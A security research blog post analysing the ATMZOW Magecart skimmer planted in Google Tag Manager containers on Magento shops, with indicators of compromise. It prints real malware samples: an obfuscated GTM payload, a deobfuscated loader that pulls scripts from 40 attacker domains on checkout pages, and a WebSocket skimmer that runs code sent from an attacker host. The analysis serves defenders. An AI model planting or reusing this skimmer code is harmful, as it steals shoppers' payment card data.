40 New Domains of Magecart Veteran ATMZOW Found in Google Tag Manager

By Denis Sinegubko

Published: 2023-12-07 · Archived: 2026-04-05 23:18:37 UTC

Hackers like Google Tag Manager: millions of sites use it, and they can inject custom scripts and HTML code via a script from the highly trusted domain **googletagmanager.com**. In order to create a new container and abuse Google Tag Manager, all they need is a Google account (and we all know how easy it is to get one).

Given the widespread use of GTM and the inherent trust websites put in scripts from Google, this tactic presents a significant security risk. By injecting custom scripts and HTML code onto a website, hackers can harvest valuable data, including user credit card details.

In today's post, we'll take a look at some recent Google Tag Manager containers used in ecommerce malware, examine some newer forms of obfuscation techniques used in the malicious code, and track the evolution of the ATMZOW skimmer linked to widespread Magento website infections since 2015.

Spotting common GTM credit card skimmers

We regularly find credit card skimmers planted inside Google Tag Manager scripts. For example, last week we reported on some malware using a chain of four GTM scripts to plant a skimmer. In the past 11 months of 2023 our SiteCheck remote website scanner has detected known malicious GTM containers on **327** sites with the most common container id **GTM-WJ6S9J6** detected a total of **178** times this year.

The tag **GTM-WJ6S9J6** has been already deleted by Google after reports of malicious activity, but back in October the **vtp_html** variable contained a code that injected a malicious script from **gtm-statistlc[.]com** (originally created on July 11, 2023**)**:

This campaign also used many other tags and domains that mimic various analytics/statistics services, including **gooqle-analytics[.]com** and **webstatlstics[.]com**.

New ATMZOW skimmer in GTM-TVKQ79ZS

This November we found a **GTM-TVKQ79ZS** container with a new variation of the skimmer in the **vtp_html** variable.


```
// Copyright 2012 Google Inc. All rights reserved.

(function(){

var data = {
"resource": {
  "version":"7",

  "macros":[{"function":"__e"},
{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},
{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},
{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},
{"function":"__f","vtp_component":"URL"},{"function":"__e"}],
  "tags":[{"function":"__html","metadata":["map"],"once_per_event":true,"vtp_html":"\u003Cscript type=\"text\/gtmscript
\"\u003E(function(c,d,e,f,b,g,a){b[a(d)](a(e),a(c.replace(f,\"\")));b[a(g)]
()})(\"KGZ1bm%N*0aW9uKCl7KG*Z%^1bmN0*aW9u%IENST*1Y3R$ygpe3Z\\x26h$%#c@iBGTkky$U#kU\\x269U3Ry@^aW5#nLmZyb21D
\\x26\\x26aG@Fy*Q29k##ZSg$xMTUsM%#TEyLDE\\x26$w%OC^w^x^MDUsMTE2LDQ0LDExNiwxMTE\\x26sODMsM\\x26TE2L^D#Ex@N$C\\x26%wxMDU
\\x26#sMTEwLDEwMyw0NCw^*\\x26$xM#DYs\\x26*MTEx@L^DEwN
\\x26SwxMTAsNDQs%#@#MTA$4LDEw$MSw#x#MTA$s#@MTAzLDExNiw%x*MDQsNDQsO$Tks$MTA^0\\x26L\\x26Dk3\\x26LD^Ex*NCw2Nywx
\\x26MTEsMT%AwLDEw%%MSw2NSwxMTYs%N*^DQsMT\\x26AyLD\\x26ExN^\\x26*%Cwx%MTE^s%MTA5LDY3LDEwNCw5^N
\\x26yw^$xMTQsNjc$sMTExLDEwMC*$wx#MD*E@pW1N0%cmluZy#5mc@m9tQ2hh\\x26ckNvZ^@GUoM^#$TE1@LDE*xMiw^xMDgsM^#TA1
\\x26LDE^xN*%i$l%^$dKFN0@^\\x26cmluZy5mc\\x26m9t@^Q#2%hhck\\x26Nv*ZG#Uo@NDQp#KTtmdW5jdGl@vbiBa#OD#MyU1A$oV#DVOR*UtTKXtUNU5
\\x26FS*1M9VD$VORUt#TW%0#ZOSTJSRVsw\\x26XV0oIiI$pO3Zh@ciBTNUlEMk09Q%1JPVjd@HW0ZOSTJSRVsxXV0$o%KVtGTkky^
\\x26^U#k%%@VbMF1dKC*9cKHwg%f*^%Al8XG*58XHJ8O3x9fHt8X^CkvK*VtGT^kk@@yU
\\x26kV@b^M*l1dK*$C@IiKVtGTkkyUkVb^M11dW0ZO*S#TJS^$^RVsxXV\\x260oKVt%GTkk%yUkVbMF1dK%CIi^K\\x26SxS#TE9IWV*I9
\\x26^$MCxNWkI0Ukg9I$iIsUVM\\x26yR*kY@z**PS#I@iLExVTzBFT#j0wL#%ExBVEQ#1Sjtmb3IoTE@FU$R#DVKPTA7TEFURDVKPF#Q1Tk
\\x26*V$LU*1t%G#TkkyUkV\\x26bM11dO0xB\\x26VEQ^*1$Sj1\\x26M\\x26QVREN@U^orMi#^$$\\x26l7aWY$o@UzVJRDJNW0Z*^OST$J
\\x26#S^RVszXV%09P%VJMT0*%h$ZUil7U^kxPSFlSPT^A7fVFTM\\x26kZ%GMz1$#@w#Y\\x26XJzZU#ludChUNU
```

After removing the first layer of obfuscation, we got the familiar ATMZOW style of code:

```
(function(){(function CROV7G(){var FNI2RE=String.fromCharCode(115,112,108,105,116,44,116,111,83,116,114,105,
110,103,44,106,111,105,110,44,108,101,110,103,116,104,44,99,104,97,114,67,111,100,101,65,116,44,102,114,111,
109,67,104,97,114,67,111,100,101)[String.fromCharCode(115,112,108,105,116)](String.fromCharCode(44));function
Z832SP(T5NEKS){T5NEKS=T5NEKS[FNI2RE[0]]("");var S5ID2M=CROV7G[FNI2RE[1]]()[FNI2RE[0]](/\(| | |\n|\r|;|}|{|\)/)
[FNI2RE[2]]("")[FNI2RE[3]][FNI2RE[1]]()[FNI2RE[0]](""); print(S5ID2M); exit(); print(3);var RLOHYR=0,MZB4RH="",
QS2FF3="",LUO0EN=0,LATD5J;for(LATD5J=0;LATD5J<T5NEKS[FNI2RE[3]];LATD5J=LATD5J+2){if(S5ID2M[FNI2RE[3]]==RLOHYR)
{RLOHYR=0;}QS2FF3=parseInt(T5NEKS[LATD5J]+T5NEKS[LATD5J+1],30)-S5ID2M[RLOHYR][FNI2RE[4]](0)-LUO0EN;MZB4RH
+=String[FNI2RE[5]](QS2FF3);LUO0EN=QS2FF3;RLOHYR++}return MZB4RH}FNI2RE=Z832SP
("558h856c6f8e8q7h736l897t5s5t7m6n7h7s695o6j6s6g7d8i927j617e866q788b818g878o6p5p5k6261788a8l7f6j76817t8d9k9g907
l7m8s7d6o728d8s5k2e5d8c8m8e8k8r9f9h605k988p8r8i8h8i5f588g8o7070998m918o8k8n8t94978m8l8t9i9i908m928h6o6e8r945n58
8g8o706e8r9393949d8n8j8i949g918j8r919e8s8l8s756e8r945n588g8o706c8s9e958t9i958i8k8q8r9g8q92988o86908r6h6e8r945n5
88g8o70739a949g8n8m8j8p9994959g8t96998t8o776j8o8t5q5d8d8j7372918d929h9f8o8i8b8r8m8n8s8t8k92746j8j975n5d888r7072
8i8j8t9a8q8i939e94998m8t9a908r9f706m8o945i5g8d8o6p6n8s8p8p9b8t8r8h928q8r929d99716e8r945n588g8o706c8s9e958t9i958
i8o9h8t8p8j92988k8i756j8o8t5q5d8d8j7375968h948t8h8a8o8l8j989o958i8n9k8t8s949b766j8j975n5d888r706j8j96939998918h
8j8j8r8q8n8m938t9g8s92746j8j975n5d888r706h8k9h908b8m908f8f8k9j93909a796j8o8t5q5d8d8j736n8e8e938n8t9e9o9e8t8k8r8
t9f998s8a8k8h92746j8j975n5d888r70728q8l8t9h9a92919e8o8s8o8t9397958t909e99746e8r945n588g8o706d8t9f9g8s969f9e9495
8m8o8j949e938d91756j8j975n5d888r706p8n8n8e8i8m8q8r9g8q929896959c8r8l8m8q8t746e8r945n588g8o706c8s9e958t9i958i899
89g9a8o939e948p988o8c6d6m8o945i5g8d8o6p78968m8q928h8i86908r888g8o8j9d9g988i8s706m8o945i5g8d8o6p6m8a8l97928q9f99
928p8o8o9i9e8p858n8m8t6t6m8o945i5g8d8o6p7b97949b918j8j8k9h958t94978m8l8t9i756j8j975n5d888r70759a9h99928h908n8r9
b948t988g8o8l8j989n9494706m8o945i5g8d8o6p6k8p9e9a9i8r8r9b9h8p8a8f8p8t746e8r945n588g8o706f918p908s8e8r8r8a988t6i
6e8r945n588g8o7070998m918o8k8r8o8q9h938i8n786j8o8t5q5d8d8j73728n8b929a958o8t8r8m8g8o8j9d9m9a8t746e8r945n588g8o7
06k918k8e8d8n8t998t8p8l949d928s9993796j8o8t5q5d8d8j7378978t9j8s8j8h8e8r8r858r93908i8h8t9b94776j8o8t5q5d8d8j736h
8p999m9e99908l8l8l8e9g9l958d91756j8j975n5d888r7075918p918t8c979e8t8k8r8t988t988t95969c746j8j975n5d888r70728q8l8
i8t8l90948o8q9h938i8n786j8o8t5q5d8d8j736k8s8k939d999a908r9f8r8h8r948e92746j8j975n5d888r706h8k9h95949a988i8t9992
8p8o8o9e9a998i8g6l6j8j975n5d888r706n898m908n8o9m958b8m908g8t94978m8l8t796j8o8t5q5d8d8j73759f999c928m878o8l8j989
n9494928m896i6e8r945n588g8o706k918k8e8d939f8r8m98949f908l8i8g8g736j8o8t5q5d8d8j736h8p999f9a998m8o8r8r8o90939b91
966s6j8j975n5d888r7075918p918t8c8l8b8r8m8i8f8p8l8q99746e8r945n588g8o706r948i8t9c9i8t9199928p8o8o928c6i6e8r945n5
88g8o706f918p9098928t8q8m938t9996908e8t969c746j8j975n5d888r706h8k9h9g9e8o8s8o90998s8a8k8h929d756e8r945n588g8o70
5p7o8g8t95948f8080979490909c8c8d8m909f756e8r945n5i8n8e8i6f6l8a8a8c8m6k6o8o8r8f955t507a4r4048686863a07e576p70537
4959h5s5t8n90939197635i949b9f9b7h54513l3l3g45425m8i8s8r938t5l5g8o8s99995s588k8f8p7i7s605s8k8o8o8p8t5q5d8o8k8i7p
858p929a7p7k635d8h8a8s7p7m8k8i7a7p5p5t8n8b7m8g8r8p99635i928o8k5g5j8o8r8f95887s5g5h8d9483838q8r5n5s949f9b8o59629
0917s86918o5i629b948m98605k8q938t5o5d929a9f958o8k8o5a5g8r8t8790917e7g8q8o8o8k9d605t98905d5i8e8f8b5e568q988r8k8r
7b7f8i908m")[FNI2RE[0]](String.fromCharCode(10));function E64ZSG(){var S5ID2M=arguments,RLOHYR=0,LATD5J;for
(LATD5J=0;LATD5J<S5ID2M.length;LATD5J++)RLOHYR+=S5ID2M[LATD5J];return FNI2RE[RLOHYR]}(function(){var
SFL1GB=E64ZSG(1,-1,1,-1);function H8DPRI(NZCDJR){const XXBH56=SFL1GB[E64ZSG(52,102,54,-155)];if(NZCDJR===0)
{return SFL1GB[0]}let T7HXBX=E64ZSG(3,-2,-3,3);while(NZCDJR>0){const A53HCE=NZCDJR%XXBH56;T7HXBX=SFL1GB[A53HCE]
```

The ATMZOW skimmers are long known to use Google Tag Manager. Moreover, Group IB has linked this skimmer to the 2015 Guruincsite infection that affected thousands of Magento sites in the very beginning of Magecart era.

Now, 8 years later, the hacker group that uses this style of obfuscation is still active. And the malware keeps evolving.

Extra complexity in obfuscation

Simple skimmer scripts (like the one we see in the **GTM-WJ6S9J6** example above) are pretty easy to deobfuscate and discover the malicious domain. They used **base64** encoding to hide the domain name and page URL attackers are interested in.

```
if(0<=location.href.indexOf(atob("Y2hlY2tvdXQ="))||0<=location.href.indexOf(atob("b25lcGFnZQ==")))

//Decoded

If (0<=location.href.indexOf('checkout')||0<=location.href.indexOf('onepage'))
```

Unlike previous variants, however, the obfuscation used in this recently discovered **GTM-TVKQ79ZS** container uses extra complexity to hide all the domains and activation conditions. The ATMZOW level is pretty difficult to deobfuscate, as the decoder depends on the exact length of the script — and the moment you change anything in it, it stops working. However, when you know how the decoder works, there are multiple ways to work around it.

40 new “artistic” domains

The fully deobfuscated code of November’s new variant reveals a list of **40 newly registered domains** used to inject another layer of the skimmer.

```
if ( location.href.indexOf("checkout") >= 0 || location.href.indexOf('onepage') >= 0 ) {
  var CDNs = [
    "cdn.sketchinsightswatch.com",
    "cdn.colorpalettemetrics.com",
    "cdn.artisticpatterndata.com",
    "cdn.visualartexplorer.com",
    "cdn.picturedataminer.com",
    "cdn.paintedworldstats.com",
    "cdn.drawinginfopro.com",
    "cdn.artistictrendsmap.com",
    "cdn.sketchanalyticsvault.com",
    "cdn.colorschemeobserver.com",
    "cdn.artdataharvest.com",
    "cdn.gallerytrendstracker.com",
    "cdn.picturetrendsmonitor.com",
    "cdn.brushstrokemetrics.com",
    "cdn.imagepatternprofiler.com",
    "cdn.artisticexpressiondb.com",
    "cdn.sketchdataanalytics.com",
    "cdn.canvastrendstracker.com",
    "cdn.visualartinsights.com",
    "cdn.strokepatternanalysis.com",
    "cdn.artstattracker.com",
    "cdn.drawdatahub.com",
    "cdn.sketchmetrics.com",
    "cdn.paintinfoanalyzer.com",
    "cdn.imageinsightvault.com",
    "cdn.visualdatacollector.com",
    "cdn.artworkanalytics.com",
    "cdn.sketchtrendsmonitor.com",
    "cdn.picinfometrics.com",
    "cdn.drawnstatsgather.com",
    "cdn.artistictrendsprobe.com",
    "cdn.gallerydatainsight.com",
    "cdn.strokeanalysislab.com",
    "cdn.imagestatistician.com",
    "cdn.artprofilingtool.com",
    "cdn.sketchdataharbor.com",
    "cdn.picturetrendsdb.com",
    "cdn.drawninfoinspector.com",
    "cdn.arttrendtrackers.com",
    "cdn.PaintedVisionsStats.com"
  ];
  var mageCache = localStorage.getItem('mage-cache-index');
  ...skipped...
  var Rand20 = RandN(20);
  var OJWAHJ = OIRXHM( RandN(10) + '|' + location.hostname +'|w34h12ntr', Rand20 );
  var ZS9FS6 = document.createElement('script');
  ZS9FS6.src = "https://" + CDNs[mageCache] + "/" +  Rand20 + ":" +  OJWAHJ;
  document.head.appendChild(ZS9FS6);
  ZS9FS6 = document.createElement('script');
  ZS9FS6.src = "https://" + CDNs[cdnIndex] + "/" + Rand20 + ':' + OJWAHJ;
  document.head.appendChild(ZS9FS6);
}
```

All of these domains were registered via Hostinger in three batches on November 8, 10 and 12 of 2023 (the same registrar was used for the previously mentioned malicious domains **gooqle-analytics[.]com** and **webstatlstics[.]com** as well).

Naming patterns

Unlike the previous naming pattern which includes keywords related to popular statistics or analytics services, this time attackers used a combination of three English words with the following patterns:

- The first word is always related to art – e.g. *sketch*, *color*, *visual*, *picture*, *canvas*, *draw*, *image*, etc.
- The third word makes the domain name look related to some internet service – e.g. *metrics*, *stats*, *profiler*, *insights*, *analytics*, *tracker*, *monitor*, *tool*, etc.
- The second word is randomly selected from the combination of the two previous types of keywords.

```
cdn.sketchinsightswatch[.]com
cdn.colorpalettemetrics[.]com
cdn.artisticpatterndata[.]com
cdn.visualartexplorer[.]com
cdn.picturedataminer[.]com
cdn.paintedworldstats[.]com
cdn.drawinginfopro[.]com
cdn.artistictrendsmap[.]com
cdn.sketchanalyticsvault[.]com
cdn.colorschemeobserver[.]com
cdn.artdataharvest[.]com
cdn.gallerytrendstracker[.]com
cdn.picturetrendsmonitor[.]com
cdn.brushstrokemetrics[.]com
cdn.imagepatternprofiler[.]com
cdn.artisticexpressiondb[.]com
cdn.sketchdataanalytics[.]com
cdn.canvastrendstracker[.]com
cdn.visualartinsights[.]com
cdn.strokepatternanalysis[.]com
cdn.artstattracker[.]com
cdn.drawdatahub[.]com
cdn.sketchmetrics[.]com
cdn.paintinfoanalyzer[.]com
cdn.imageinsightvault[.]com
cdn.visualdatacollector[.]com
cdn.artworkanalytics[.]com
cdn.sketchtrendsmonitor[.]com
cdn.picinfometrics[.]com
cdn.drawnstatsgather[.]com
cdn.artistictrendsprobe[.]com
cdn.gallerydatainsight[.]com
cdn.strokeanalysislab[.]com
cdn.imagestatistician[.]com
cdn.artprofilingtool[.]com
cdn.sketchdataharbor[.]com
```

```
cdn.picturetrendsdb[.]com
cdn.drawninfoinspector[.]com
cdn.arttrendtrackers[.]com
cdn.PaintedVisionsStats[.]com
```

These naming patterns are likely used to blend more organically into the digital ecosystem while art-related keywords make them look even more benign, as many security solutions are now trained to identify phishy versions of popular analytics services.

Tricks to evade domain discovery

To further evade detection, the malicious code randomly selects two of those "**cdn.***" domains from the list above and then injects two external scripts from the selected domains. This approach helps conceal the entire list of domain names used in the attack from researchers who may be only performing traffic analysis, as they will be only able to capture two domains at a time. Moreover, these two domain names are saved in local storage so on subsequent loads in the same browser you will get the same pair of domains. This method is intended to prevent quick discovery and blocking of all domains used in the attack, inadvertently prolonging the lifespan of the campaign.

In an effort to prevent detection of domains and suspicious traffic through their IP addresses, attackers strategically hid these domains behind a CloudFlare firewall. After CloudFlare blocked them, we were able to uncover their real locations. At the time of writing, these domains resolve to **31.220.21[.]211**, **31.220.21[.]240**, **62.72.7[.]89** and **62.72.7[.]90** which all belong to the Hostinger network. The same IPs were also used for **gooqle-analytics[.]com** and **gtm-statlstic[.]com**.

Reinfections and new containers

After Google received reports of malicious behavior and removed the **GTM-TVKQ79ZS** container, the bad actors created new containers GTM-NTV2JTB4 and GTM-MX7L8F2M with the same malicious script and started reinfecting compromised websites.

Interestingly enough, on one site we found this Google Tag Manager skimmer right next to the WebSocket lgstd[.]io skimmer that my colleague Ben Martin wrote about last week.

```
<script>!function(w,t){if(w.location.toString().includes(t)){let s=new
WebSocket(String.fromCharCode(119,115,115,58,47,47,108,103,115,116,100,46,105,111));s.o
nopen=function(e){s.send(w.location.hostname)};s.onmessage=function(e){new
Function(e.data)(s)}}}(window, "checkout");</script>
<script async src="https://www.googletagmanager.com/gtm.js?id=GTM-NTV2JTB4">
```

Understanding threats and taking action

These specific Google Tag Manager malware samples indicate that the same gangs that were pioneers of credit card skimming 8 years ago are still active and are constantly evolving and adapting their approaches. As of 2023, their main tricks are the use of Google Tag Manager, deploying complex multi-layer (and rather unconventional) obfuscation, and the use of a long list of malicious domains hidden behind a firewall.

Unlike other modern skimmers that have moved most of their operations to WordPress' WooCommerce, our analysis indicates that the ATMZOW skimmer continues to specifically target Magento sites.

A Google Tag Manager script may look benign at first glance due to its association with a highly trusted source. However, any script that was not initially placed on a page by a website administrator should raise suspicions and be considered a sign of potential compromise. As a rule of thumb, always take time to investigate strange or unfamiliar scripts in your website environments.

If you suspect that your site is infected with this malware, check our Magento cleanup guide. Make sure to scrutinize all the templates that are usually stored in **core_config_data** — it's a most common location for placing client side skimmer scripts.

And as always, if you believe your site has malware, our highly-skilled analysts are available 24/7 to clean up a hacked site.